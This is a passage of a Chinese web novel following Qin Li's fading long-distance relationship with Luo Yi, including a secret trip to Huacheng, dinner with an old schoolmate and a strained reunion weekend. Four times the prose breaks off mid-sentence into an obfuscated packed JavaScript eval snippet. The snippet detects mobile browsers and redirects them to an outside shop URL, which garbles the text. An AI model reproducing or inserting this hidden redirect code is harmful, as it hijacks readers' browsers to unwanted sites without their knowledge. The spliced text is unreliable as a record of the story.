路人行色匆忙 孤单脆弱不安 都是平常”① 秦离满脑子想着的都是闭上眼睛,趴着躺着睡着的洛依,阳光和月光轻抚她的脸颊,停留在她的睫毛上,都不舍得离去。 她唱完,才不好意思道:“太久没弹了,有些生疏。” 洛依那边很安静,半天才应:“还是很好听。”她的声音很虚弱,轻飘飘的。 秦离觉得不太对劲,问道:“你怎么了?” “……”洛依似乎翻了个身,缩到被子里,声音依旧是气流状的,瓮瓮的,“没事,只是得小声点,不能吵到室友。” 秦离还是觉得不对,却不敢多问,怕惊扰她,让她缩得更深,只能换了个话题:“我看月亮这么美,就想马上发给你看,还怕把你吵醒呢。” “不会,最近本来也睡得很少。” 秦离只能一点点摸索:“是又失眠了吗?还是偏头痛?” “都有一点,不过还好,没事。” “那是工作太累了吗?最近好像加班也不少哦?” “其实工作量还好,我就是……太累了,好想……”话到一半洛依又咽了回去,“就是太累了,做什么都累。” 洛依的状态听上去真的不太妙,秦离担心是不是她的抑郁症状加重了,又不敢多问,甚至连“没事,我一直陪着你的”这种话都不敢说。 因为她现在不在洛依身边。 她确实可以请假然后马上飞过去,但洛依一定不会同意的,觉得这样给她带来太多负担了。 最后,秦离也只能说:“慢慢来,你觉得怎么舒服就怎么做。”她甚至连“开心”两个字都不敢说,怕给洛依负担。 “嗯……” 这点安慰好像隔靴搔痒,两个人都不得劲。 空气静默了几秒,还是洛依先开口:“没事,熬熬就好了。我明天去医院看看,拿点药。” 秦离还是忍不住道:“我明天一早飞过来吧,陪你一起去医院。” “没事,不用的,”洛依果然拒绝了,“就一天假期了,我就拿个药,你飞过来太折腾。” “可我……” “没事,我妈爸也在,她们也陪着我的。” 可我真的很担心你。 这句话最终咽进了肚子里。不管怎么样,恋人肯定比不过家人的。最终,秦离也只能道:“那好,有什么情况,你一定要跟我说哦。需要我的时候,我马上赶过来。” “嗯。” 洛依应着,但她不会开口麻烦秦离的,秦离也知道她不会开口。 认识的时间越久,洛依的情绪好像愈发内敛。 气氛变得有些僵硬,不似一开始那么柔和。还是洛依先问道:“你一月底不是要过来考试吗?” “嗯。”秦离心里还有些闷闷的,声音也别别扭扭。 洛依长叹了口气:“备考也很辛苦,你平时还要上班,不用太担心我,照顾好自己最重要。一月底你过来考试时,我们就能见面了。” 这话洛依不是第一次说了,秦离关注的却是,她好像从来不问我准备得怎么样,考试结果怎么样,有没有考上。 不想洛依为难,秦离语气轻松:“没事的,你又不是不知道,我精力一向很充沛,同时干很多事都不累的!” 说这话时,冬日夜晚的寒风顺着窗户缝渗进来,让喉咙产生剧烈的痒意。秦离捂着嘴,拼命吞咽口水,忍住咳嗽的欲望。 洛依果然没有察觉她的异样。她也笑了:“我一直知道你很厉害。” 两人又聊了会轻松的话题,秦离一直憋着,直到道完晚安挂了电话,才开始剧烈地咳嗽,咳得撕心裂肺,连带着喉咙和口腔里都好像带着血腥味。 天旋地转。 她靠在玻璃上,一直咳,咳着咳着又开始发笑,笑到最后,自己也不明白自己在笑什么。 不过,秦离心中坚定了一个念头,还是去一趟花城吧,去看看洛依。如果洛依知道了会有压力,那就不要告诉她了。 她就是很想见她,尽快见到她。不管会怎么样,至少先见一面。 接下来一周的工作,秦离魂不守舍,同事和领导以为她身体不舒服,也没多苛责。 周五一下班,她就直奔机场,到花城时已经是深夜了。 秦离在做房地产销售的时候,因为公差曾来过花城。她其实不太喜欢这个城市,总觉得在高度发展的经济之下是思想的陈旧保守和道德的松散跌落,看待女性的眼光也总是带着不适的偏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370244|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见。 不过,不得不说,花城的食物还是相当好吃的。 花城纬度较低,即使是冬日也没有太冷,但可能是思虑较多,秦离在来之前就已经感冒了。保护自己,也保护别人,她把口罩裹得严严实实,头昏昏沉沉的。 洛依的单位位置靠北,离机场不太远,但有些偏。秦离选了个离得近的酒店,到了倒头就睡。 第二天一大早,秦离就去洛依单位大门对面的咖啡厅里坐着,边写写连载,边看着洛依会不会从那扇门里出来。 这是个笨办法。洛依或许一天都不会从单位出来,或许从其它小门离开了,或许出现了但是没有被秦离看见。但她也没有其它办法了,反正呆两天她就走,就当……给自己一个心理慰藉吧。 而且她还可以码字,横竖没浪费时光。 咖啡厅里暖暖的,秦离缩在靠窗的沙发里,感冒药让人时困时醒。她的头点得重了,就会惊醒一次,朝着看了无数遍的门望去。 命运是眷顾她的。中午吃完汉堡后困倦的一瞥,在门前看见了那个熟悉的身影。 离上一次庸城见面原来已经过去好久好久了。洛依的身形比记忆中的更加消瘦,头发也长了很多,连带口罩遮住了大半张脸。 她一身深灰色,背着熟悉的黑色双肩包,双手插兜,看着没什么精神,从身影都能感觉到疲惫。 秦离很开心,光是看见她就很开心了。虽然知道对方不会看不见,还是躲了躲,用窗栏遮住自己。 【这会在干什么呀?】 洛依那边很快掏出手机:【在等人。】 秦离心跳漏了一拍,随即意识到她说的肯定不是自己:【等人?要跟朋友出去玩吗?】 消息刚出去,秦离就已经看见答案了。 是田薇和谢依霖。两人穿得光鲜亮丽,大步朝洛依走去,空气里似乎都是快活的气息。 手机再次振动:【嗯,田薇和谢依霖来花城了。】 秦离半天没有反应,手臂在微微发抖,任由手机落在桌上,发出咚的一声。她心上也好像被过量的酸水泡过,好苦涩。 手机屏幕又亮起:【她们刚好到花城出差,就约我出去吃个饭,吃完就回去了。你呢,今天有什么安排?】 透过玻璃窗,秦离看着三人并肩走着,洛依在中间,并没有挨得很近,看上去却很和谐。 秦离觉得自己鼓起来的勇气就像个笑话,啊,好好笑的笑话。 一直看着三人的身影消失在道路尽头,秦离没有眨眼,酸涩的感官刺激着泪腺分泌液体,顺着脸庞滑落。 什么都看不见了,她才回复:【没什么安排,睡觉吧,有点累……】 【怎么了,是哪里不舒服吗?】 洛依关心的话语总是到的很及时,引得秦离眼眶又是一酸,更多泪水溢了出来。 【没事,就是提不起劲,睡一觉就好了。】 【可能是该死的工作造成的,那多睡会也好,要是醒来还是难受,要及时去看医生哦。[奶茶鼠行走.gif]】 【好。[乖巧.jpg]】 状若无事地发完最后一条,秦离抱住膝盖,无声痛哭。 115. Chapter 115 周围没有人来安慰她,这让秦离感到安心。 哭完后,她又点了很多食物,将它们全部塞进胃里,撑到了嗓子眼,似乎填满了所有内脏,让她总算不那么空落落了。 冬日的太阳落得很快,城市逐渐褪去颜色,表情麻木的人们来来往往,变得黯淡无光。 秦离刷着各种平台的短视频、文章和各类资讯,用庞大的信息洪流淹没自己。 突然,她看到陈玲嘉十分钟前发的朋友圈:【阿拉,好久没来花城了,从空中看夜景真是好漂亮呢。】定位是花城机场。 !!! 久违的名字在秦离心中激起涟漪。自从毕业后,她再没和陈玲嘉联系过,甚至都忘了列表有这个人——或者说,刻意让自己遗忘,和黎羽相关的所有人和事。 而此刻,为了逃避此刻的痛苦,用其它记忆覆盖,秦离迫不及待给陈玲嘉发去消息:【学姐,你来花城了么?】 陈玲嘉回得很快,发的语音,声音依旧是十分甜嗲:“对的呀。学妹,你也在花城?” 出身社会这么些年,已经很久没人叫自己学妹了,这一刻,秦离觉得自己又回到了稚嫩的学生时期,可以心安理得接受别人的照顾。 秦离也发了语音,声音有些干:“嗯,我看到你朋友圈了,想着都在花城,有没有机会一起吃个饭。” 她自觉已经将情绪收拾好,却没想到陈玲嘉仍敏锐察觉到:“你怎么了?心情不好吗?” “我……”秦离梗了下,还是没能说出“我没事”三个字。 陈玲嘉体贴地没有多问,只道:“你在哪里,今晚有空吗?我明天才开始工作呢,晚上可以来找你吃饭。” “……好。” 陈玲嘉将一切都安排妥当,像个大姐姐那样。秦离又想落泪了。 吃饭的地方定在一家猪肚鸡店。冬天还是要吃点暖和的。 秦离一进门,就看见陈玲嘉穿着灰色的格子大衣朝她挥手:“这边这边!” “学姐,好久不见。” 秦离放下包,坐在她对面,微红的眼眶暴露了她的情绪。 陈玲嘉注意到了,但没有问,先寒暄着:“哇,真的是,我算算,八年多没有见面了呀。” “是啊,”秦离也感慨,“都过去好久了。” 陈玲嘉一头深棕色的长卷发,比记忆中的样子成熟许多。岁月在她身上留下了明显的痕迹,却依旧保留她甜美的笑容和声音。 锅上得很快,热气腾腾,带着胡椒味的汤喝到胃里都是暖的。秦离虽然依旧有点撑,喝了一碗下去,身体反而舒坦了。 多年未见,两人说了不少这些年的生活工作。陈玲嘉问道:“你回南城也蛮好的,离家近,食物也是喜欢的口味。这次来花城是出差吗?呆多久呀?” “……就这个周末,我过来找人。” “那她怎么没和你一起?” “……” 在陈玲嘉真挚的眼神下,秦离败下阵来,坦白道:“其实,我是来找我对象的……” 话匣子一开就收不住了,秦离把这两年发生的事全部说了通,有欢喜有幸福有害羞有悲伤有酸涩,到现在空落落的。 陈玲嘉认真听她说着,不禁感慨:“不愧是你啊,学妹,在爱情上还是这么勇敢。” 秦离有些不好意思,但说出来情绪好了许多:“没有啦,只是因为喜欢她嘛。” 陈玲嘉单手撑着下巴,接着感叹:“不过要是当初对着小羽的你,今天肯定会冲过去说个明白吧。” 锅里的汤咕噜噜地冒着泡。 秦离愣了下,动了动手腕,那里很久以前曾经戴过串什么。 陈嘉玲很快反应过来,连忙补救:“抱歉抱歉,说顺口了,我不是故意提起……” “没事。”秦离打断她,才察觉自己语气有些硬,咳了声后顺势解释,“我只是太久没听到她的名字,一时有些愣神。” 不过最近……黎羽这个名字出现的频率似乎有些高了。 从她的神情里看不出更多,陈玲嘉顺着她的话,刻意放松道:“也是,都多少年前的事了。垃圾前任就应该扔进垃圾桶里,不该多提及。” 即使多年没提起黎羽,秦离还是习惯性维护她:“不至于。只是我们太不合适了,分开是自然,硬在一起才是太勉强。” 陈玲嘉笑着接话:“那这次可不要再几年都不找我了。” 秦离不好意思了:“不会。那时候,太幼稚了。” 太幼稚了,所以才想在分手后决绝地断开一切跟黎羽的联系,把她从自己的人生中抹除。 然而现在,她居然也能淡定和过去的人说起那段感情。时光,真的可以改变好多。 既然都说到这里,秦离也不再避讳:“真的太幼稚了,那时候,脑子里除了风花雪月没半点东西,只会想不会做,也不知道生活的苦楚艰难,就在自己的想象圈里打转。” 现在其实也好不了多少,但至少,尝过现实的酸苦后,脚终于踩在地上了,也能多少洞察和体谅一些人心。因此她知道,今天冲上去只会给洛依带来困扰,不能这么做。 “我倒是觉得你以前那样子挺好的,当然现在是更适应社会啦,但也更习惯戴假面了,没有那时候快乐多吧。” 陈玲嘉笑眯眯的,一副“我都看得出来的哦”的表情。 秦离无奈笑了。 学姐,也变了很多啊,更加稳重成熟了,但笑容依旧真诚,内核也很稳定,真厉害啊。和她聊天,让自己心情也平静很多,好像什么问题都不是大事。 于是,秦离将工作的烦恼也说了说。 陈玲嘉沉思片刻道:“唔……我能理解你不喜欢现在的工作,不过这种不喜欢是出于这份工作真的不是你想要的,还是对高校文博的工作寄予了太多美好期望呢?这个需要你自己去判断。要是后者的话,你即使换了工作,也会很痛苦,因为现实大概率没有你想象中那么美好,日常都是重复又无用的琐碎事宜堆积起来,还有许多恼人的人际和潜规则影响。所以才说工作也是围城嘛,大家都觉得围城外的风景更好……” 陈玲嘉的考虑很现实,与郭平不同的另外一种现实。秦离当然知道她说的是对的,甚至隐隐戳中了自己的部分想法,连忙打断,苦笑着:“我是有些心理预期啦,但学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370245|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐你说的这么直白,我真的要觉得人生无望了。” 这个世界没有美好乌托邦。 陈玲嘉哈哈大笑:“一点职业毛病,总想帮人把问题分析透彻,寻求解决办法。总之你可以把两种选择的利弊、可行性和风险点都写出来,也列出能给予你帮助的人,看哪边是你更能接受的。去多做调研,请教相关行业的人,去切身感受你要做的事真正是什么样的。” “如果以上全部都完成了,你心中也做好决定了,那么就行动吧,不管最后选择了哪条路。认真思考后做出的选择,什么样的结果都是你能接受的,就不用后悔了。” 秦离连连点头。 两人聊天的话题已经偏离爱情和过去,转向了未来,转向了一些抽象宏观的内容,但这让秦离觉得心中十分舒坦,也隐隐有了些想法。 “看来我现在要做的就是回去赶紧把连载捡起来,哈哈~” 陈玲嘉也笑着:“可以呀,能够持之以恒坚持一件事本来就很厉害的。学妹以后出了书,一定要给我寄一本。” “哈哈,那就真的是不知道多以后了。” 时间过得很快,转眼就九点多了,陈玲嘉明天还有工作,不能呆太晚。 “你明天有什么安排呢?”走之前,她问道。 秦离也没想到,但是不打算去洛依单位了:“我到处走走吧,就当散散心。” “也不错,那我走啦,学妹,我们下次有机会见。” “下次见。” 久别重逢到再次分别只有短短几个小时,下次见面还不知道是什么时候。人和人的交集大概就是如此,总是分别多,相聚少。 见一面,少一面。 所以倍加珍惜。 陈玲嘉离开后,秦离回到酒店。从一晚上的吵闹到这会的独自一人,突然又觉得有些孤单。 傍晚吃饭的时候,洛依有发消息过来:【我回来了,你醒了么?】 隔了两个小时后的晚上八点:【姐姐?还在睡?】 到现在又过去了两个多小时。 秦离倒在床上,回复她:【没呢,晚上出去和好多年没见的学姐吃了个饭,刚回来。】 【这么久哦,都没看见我消息。[奶茶鼠扭头.gif]】 好久没看见洛依这么亲昵的语气,秦离还是笑了:【太久没见,聊得多了些。你今天看上去心情不错呀。】 【嗯哼,毕竟难得和田薇她们见面嘛,我们三个凑在一起就是说八卦。我跟你说,我真是要被她们笑死了……】 秦离听她说了很久,听到最后两人都犯困。秦离残留着最后的意识道完晚安后,闭眼就睡着。 今夜的梦依旧很多很混沌,一晚上没有休止。早上睁眼后,秦离觉得头有点痛,一个梦也没记住。 花城这地方,真的有点……犯冲。 本来准备逛逛的,结果最后秦离在床上睡了大半天,又去吃了个时间很长的早茶后,就直接奔赴机场了。 漆黑的夜晚,飞机起飞,秦离看着大片的霓虹灯,心里却仍期待着下次到来。 下一次,地面的某个地方,会有人在等她。 116. Chapter 116 那晚的亲昵像是昙花一现,天亮之后,洛依又变成那个克制的她,好像已经不习惯在秦离面前撒娇了。 只要洛依有稍微一丝敞开内心,秦离一定会毫不犹豫地迎上去,给她百分百的回应,她的疲累会全部转化为兴奋。 但若是洛依想回避,秦离就像面对一座封闭的城堡,只能疲惫不堪地在周围走动,找不到入口。 其实洛依依旧会坚持每天给她发消息,也会说很多身边的人和事,但总不如那晚的语气那样轻快。 秦离能感觉出来,洛依有在努力给自己一点陪伴和安全感,作为恋人的职责。 真的很努力,努力到秦离有时候甚至想说句,算了吧,不要这么辛苦了。 但她那么喜欢洛依,她不想放弃。 只要等到真正见面,等到两个人面对面说开后,一切都会好起来的。 但这种每天两个人都在努力维系这段关系的感觉实在是太累了,即使是主动乐观如秦离,偶尔也会为对方的忙碌而松口气,会想要逃避。 契机是一封信。 信是阿清寄的,在门卫室放了一年多了。因为没有写门牌号、收件人真名和电话号码,门卫也不知道该给谁,于是就一直放在角落里堆灰。 那天是个难得的晴天,门卫大姐就说把角落里的东西全部拿出来晒一晒分分类,发霉的不要的索性扔了。秦离就是这时候看见了阿清的信。 她先认出来的是阿清的字。她的字很飘逸,自由散漫,就和她这个人一样。 【小奕,写下这封信时,我正在冰岛看极光。都说2025年前是最适合看极光的时候,我是第一次看见,觉得确实很漂亮,于是想到了你,想拍下来让你看看。这封信或许能送到你手上,或许不能,一切都随缘吧。祝安好。by阿清】 简短的一段话,后面附着冰岛极光的照片。黑暗的天空上附着丝带般柔滑的绿光,将远处的山峦和幽深的湖水都映得发亮。从瞬间的抓拍能窥见那灵动浪漫的一片天地,整个人都仿佛要沉溺在风里,融化在光芒里。 秦离捏着照片半天没有动,思绪飘得很远。 世界上有如此美好的地方,她却囿于自己的一亩三分地,苦苦挣扎。 如果将她放到宇宙之中,她连一粒尘埃都算不上,如此渺小。这样渺小的她,居然有这么多悲欢苦乐的体验,好神奇…… 这一刻,时间的洪流快速地涌动着,从最初奔向最终。秦离在自己那条小河里看见了好多好多人。 她的家人们、老师们、朋友们、恋人们,还有好多好多以为已经遗忘的萍水相逢的人,原来她们都在记忆深处留下了痕迹,与她们的每一次交集都在身体内部增加或减少了一些东西。 能活着,能和人接触,能清晰地感受到阳光、风和雨水,能吃到食物的味道、闻到不同的气息,听到各种的声音,真好。 秦离也不知道自己一下子怎么会想那么多,或许是阿清这封信和这张照片,把她从尘世里一下子拉了出来,也或许她本就有所体悟,全部积攒在一起,在这一刻终于喷涌而出。 回过神来,是门卫大姐在叫她:“妹儿,这个是你的东西哇?” 秦离点头,将信和照片带回去,贴在了书桌上方的木板上,写下一个新的心愿:“有机会,去看一次极光吧。” 今天真是个好天气啊。 这件事之后,就像某个阀门被打开了,秦离突然发现,过去的老朋友们不约而同地再次出现在了自己的生命里。 陆希意和单智都在国外定居,但家人还在国内,所以都回了趟国,和秦离也趁机聚了聚。秦离看她们气色充足、精神奕奕的样子,料想她们日子过得不错。 细聊之下,人生之事,各有各的烦恼,每副平静的面孔下都隐藏着个人的苦楚挣扎,无法与任何人——哪怕是最亲密的人——共情,只能自己独自消化。 每个人都是如此孤独啊…… 还有施澄、陈小雨、李清韵、南昕、蒸蒸……好多过去关系要好的朋友,又重新获得了联系。甚至一些自以为关系不是很亲近的普通朋友,都为秦离的主动联系而感到欢喜。 只要不是借钱,哈哈。 秦离这才发现,现代社会的大家都很孤独,离开学校这个最后的象牙塔后,被整个社会和生活琐事淹没,已经失去了主动维系一段关系的勇气和能力。 真诚表达爱意,在现在变得弥足珍贵。大家累了,不想这么做了,但不代表不喜欢这样的东西。所以,当秦离借用过去两人联系相关的事物勾起话题后,所有人都乐于继续话题,甚至约着以后相聚。 她还和小姨崔明秀见了一次面。 那是个大雨滂沱的下午,风也刮得很凶。秦离本来说改个时间,崔明秀却说没事。她们坐在了空无一人的咖啡厅里,边听着雨滴敲打玻璃和叶子的声音,边聊了许多许多。 崔明秀看上去比刚回南城时好多了,也终于隐约透露了些当初邱玥的事。是悲剧,也是意外。 邱玥在家里还有一个姐姐,两个妹妹和一个弟弟,她是老二。两人的关系一直是瞒着邱玥的妈爸的,这些年也承担了不少压力,直到邱玥的妈爸在最不能出现的时候发现了这一切,接着便是吵闹、争执、哭泣、威逼和……意外。 崔明秀没有说太多,只是眼眶红得厉害。她紧捏着的手机屏幕上还是她和邱玥在海边落日下的合照。 “勺勺,不管怎么样,只要人还活着,都好。” 秦离为她的语气而难过怅然。 所有这种主动修复关系的方式让秦离感到满足,让她觉得长期防疫封闭后的状态在慢慢修复,能够去解决她和洛依之间的问题。 但真正面对洛依时,她发现所有的修复都无济于事,她依旧觉得自己陷入泥潭之中,不知道如何挣脱,救人自救。 秦离会将最近和很多朋友再接触的事讲给洛依听,洛依都会给予反馈,不管是为她高兴,让她好好玩,还是顺着话题说一些有意思的话。 那是朋友聊天才会设置的安全距离,亲密关系 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370246|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所触及的敏感话题——诸如欲望诸如思念诸如异地诸如未来,都已经消失了。 秦离不是没想过去挽救。 和朋友的大量联系必然导致备考时间变少,但洛依不会跟她聊这种可能发生争执的话题。甚至在秦离委婉表达想谈一谈更深入的事或者两人的未来时,她会用其它话题或者可爱的表情包打哈哈掩盖过去。 有一次,秦离被逼急了,直言:【你为什么始终不肯跟我好好谈谈以后的事情呢?】 洛依像是被强行露出腹部的刺猬,变得敏感尖锐:【谈以后?能谈什么,谈那些解决不了的问题吗?有意义吗?】 【总是要谈的,异地也总有办法解决的,我们一起商量,总会想出办法的。】 【都解决不了了,我们还谈什么。平时这狗屎工作都这么累,终于休息了,就别再用这些东西折磨你我了,好么?】 光从文字,秦离都能感觉到洛依的痛苦,于是她也不舍得再逼她了,这个话题不了了之。 秦离心中也有愧。她曾经答应过洛依,要换工作去花城找她,却步步怯懦没有做出改变。连备考也是,没有用尽全力,说明她对这件事是有抗拒的。 要是真的不顾一切,就算是现在立刻裸辞,也能在花城找到工作活下去。归根到底,还是她顾虑太多,不敢。又或许是杨晓瑞那句话戳中了她某个自己都没意识到的想法。 为什么不是她到南城来找我呢? 她是个出尔反尔的人。 这时候,秦离终于意识到,她和洛依的关系就像一条游丝,勉强牵连着,随风抖动着,每一寸都有可能断裂。 岌岌可危。 秦离又陷入了自怨自艾中。 她本来以为这场冷战会持续很久,结果傍晚时候,洛依就分享了搞笑视频过来:【快看这只猫,蠢死了。】 秦离点开看完,叹了口气,回了一长串的哈哈哈哈。 快了,秦离想着,已经一月上旬了。很快就到两个人见面的时候。很多事情,还是要当面才说得清楚。 只要还有一丝可能,她就希望能和洛依继续走下去。 *** 到考试那周,秦离提前做了一袋曲奇饼干,带上要送给洛依的香水和新买的项圈,选了套略显性感的睡裙,犹豫着又多往箱子里塞了些指套。 周五下午,她完全无心工作,一直盯着时间,五点一过就提前跑路,带着箱子飞奔机场。 洛依的消息也来的很早:【下班了吗?】 【嗯,我提前走了,马上到机场。】 【十点半的飞机到,对吧?】 【是昂!我一落地就给你发消息。晚上还是有点冷,你找个暖和的地方呆着哦,不要出来太早。】 【好,注意安全。】 【晚上见!】 【晚上见。】 心脏随着飞机的轰鸣声越来越响,秦离看着那片越来越近的霓虹灯带,第一次感觉到紧张。 马上,马上就可以见到洛依了。 117. Chapter 117 下了飞机,秦离心脏依旧跳得很快,没有飞机引擎的遮掩,更加明显。 很远的位置,她就看见出口处的洛依了。 洛依戴着黑色的鸭舌帽和口罩,穿着米色外套,背着斜挎包,跟商城大学初见时的样子有点像。 秦离快步走到她面前,脸颊因兴奋而泛红,正要开口,目光落在了洛依的手指上。 她没有戴戒指。 虽然因为工作的原因,她们平时都不能戴戒指,但之前的每次见面,洛依都是戴着的。现在,这一对里落了一个,星星没有了月亮。 秦离张了张嘴,却不知道说什么。 洛依很疲惫,没有注意到她的失态。她最近精神太差了,只是正常上班都累得不行,休息时间只想一个人呆着,不想社交。 什么社交都不想。 “走吧。”洛依拉了拉帽子,“我订了考场附近的酒店。” “……嗯。” 两人并肩走着,若是曾经,早已迫不及待牵着手,秦离喜欢那种感觉。但现在,咫尺的距离,手臂和手臂一次次交错,她却没有一丝勇气再靠近一点。 在生疏的环境下,两人就这么不远不近地走到了地铁站。 路上洛依又问:“想吃什么?” 秦离答:“我还好,都可以。” 话题就又这么僵住了。 秦离从未想过,她和洛依之间会到完全无话可说的程度。曾经,哪怕在房间里坐一下午只讲话什么也不干,她们也是兴奋的融洽的。现在,到酒店的路途竟如此漫长。 到最后,秦离挑了些工作中的事来讲,洛依还能搭上几句,吐槽起来精神也好了许多。 秦离只能悲哀地庆幸两人是一个工作系统,至少说到工作还有许多共同话题。 话题敞开了倒也好些了,秦离问她喜欢的女明星最近怎么样了,院子里的野猫怎么样了,身体还有哪里不舒服吗? 洛依一一都答了,又回过来问了秦离的一些事。 从机场离开的地铁,即使接近末班车,人依旧不少,两人躲在角落里,总算是熬到了目的地。 酒店附近比较荒凉,两人随便吃了点,再到房间已经很晚了。 洛依洗漱得很快,躺在床的一侧玩手机。 秦离看了看箱子里的指套,把盒子塞到了最下面。她最后还是没有穿那条性感的睡裙,随便套了件T恤,洗漱完也很快去了床的另一侧。 屋子里很安静,只有窗外时不时有汽车飞驰的声音,车灯打在沉闷的窗帘上,隐隐透出一点黄光。 一张一米八的双人床原来这么大。 秦离手上刷着题,脑子里闪过各种胡思乱想。 洛依是戴着耳机刷视频的,秦离能隐隐听到些闷响,直到这点声音都没有了。 秦离转身问道:“困了么?” 洛依的声音迷迷糊糊:“……嗯。” 透过窗帘的昏暗光线下看着洛依侧脸的轮廓,即使心中一直弥漫着难过,秦离依旧不可避免地觉得这样迷糊的洛依好可爱。 她稍微歪头确认洛依那边被子盖好了,道:“快睡吧。” “嗯……你也早点睡,”洛依的声音像小猫一样,“我明早……可能起不来……就不送你……了……” “……好。” 秦离失神,这道题停留了很久很久。 她按熄屏幕,侧着身子,盯着墙壁上的黑色漩涡发呆。她看见一只蜘蛛在墙上爬着,然后啪地一下掉在地上,看不见了。 不知道是什么时候睡着的。早上,秦离按掉调小的闹钟,悄声起床、洗漱、出门,去考一整天结束就知道自己不会考上的卷子。 出考场后,秦离和洛依去吃了椰子鸡。 花城的椰子鸡据说是全国最好吃的,而这家据说是花城最好吃的,但秦离觉得味道一般。 洛依没有问考试的情况:“还是明天晚上走吗?” “嗯呢,明晚最后一班飞机。” 这是两人以前的惯例。每次秦离去春城找洛依,都是周五下午最近一班飞机过去,周日最后一班回来,这样就可以尽可能久地和洛依呆在一起了。 “好哦。”洛依用勺子搅拌着碗里的汤。 她低头的时候,长发垂了下来,会遮住她的眉目,让人看不清表情。 两人的聊天继续,还是延续昨天那些话题,听着尽是欢声笑语,只是笑着笑着,秦离偶尔会愣神。 今天晚上时间变得充裕,洛依找了家○季酒店,楼下在装修,声音刺耳,前台一个劲地道歉,说他们在休息时间会停止施工的。 “要换家店么?”秦离问道。 洛依叹了口气:“算了,太麻烦了。” 上楼,房间在一个角落,还算安静,依旧是熟悉的天竺葵味,只是空间比过往住的要小些。 两人依旧躺在床的两侧,因为电视没法投屏——秦离倒腾了很久都没有成功,只能泄气地打开平板,至少可以一起看视频。 秦离想了想,打开了○冢的视频。 洛依一直很喜欢○冢,秦离也跟着看了些,觉得也不错,虽然两人喜欢的风格不同。 不动脑子地跟着推送点开一个又一个视频,秦离的平板记得她的偏好,推的都是她喜欢的那个组。 洛依边看边笑着说:“你果然还是喜欢花组这种花里胡哨的牛郎风。” 因为看视频的缘故,两人靠得近了些。洛依笑起来带着胸腔振动,笑意顺着触碰的手臂传达到秦离的身体,带动她的胸腔振动,血液上涌。 秦离突然感觉心脏收缩了一瞬,强烈的欲望带动她发出撒娇的声音,贴在洛依身上,头埋在她的肩上。 这是一种信号。 然而,洛依没有接收信号。 她没有动,问道:“怎么了?” 秦离身上的血液一下子冷却了。她退回去,摇摇头,继续点开下一个视频,摇摇头道:“没什么。” 看到后面,两人都没了兴致。洛依躺下玩手机,秦离继续翻着一个又一个推送视频。两人有一搭没一搭地聊着。 秦离手上翻着,脑里想着放在行李箱里的指套。 睡觉的时候,比起昨晚,秦离这次睡在了床和被子的边缘,洛依也头微侧,靠近另 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17370247|199866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一边的床沿。 两人中间留了很大的缝隙,不用担心抱在一起会热,也不用担心枕在头下的手臂会凉,不会睡得别扭。 哈哈,也挺好。 秦离无声地扯了扯嘴角,最后能做的也只有将中间的被子压实,不让洛依受凉感冒。 又是睡醒,又是一整天的时间。 在床上磨蹭了许久,两人只能起床了。 洛依问道:“想做什么呢?” 秦离想了一阵,想不到什么,答:“我都可以。” 两人对视着,最后还是洛依说,她春城的电话卡需要注销了,于是秦离陪着她去找附近的营业厅。 然而今天的运气实在不好,附近几家营业厅要么就是没营业,要么就是机子出了问题没法办理。 洛依又叹气了:“算了,回头再说吧。” “好哦。” 两人面对面吃了一顿寡言的午餐,能聊的话题昨天都已经聊得差不多了。 吃完,洛依又问道:“下午做什么?” 秦离不想说“都可以”了,尝试着提议:“要不要看电影?” 洛依应着:“看什么呢?” 秦离翻了翻软件,想不到有什么可看的电影,再次作罢。 于是,两人就这么在商场里一圈圈走着,再捡些工作中的乐事和八卦说说。 路上,秦离看见了一家咖啡厅,道:“我们坐着喝点东西吧。” 洛依应着:“好。” 坐下后,又是沉默的面对面。工作的事也说得差不多了,翻来覆去总是那些。 为了缓解尴尬,秦离低头打开了比赛界面,看着比赛回放。洛依也看着手机。 咖啡厅里很安静,只有远处有一桌大学生正在兴奋地低声说话。 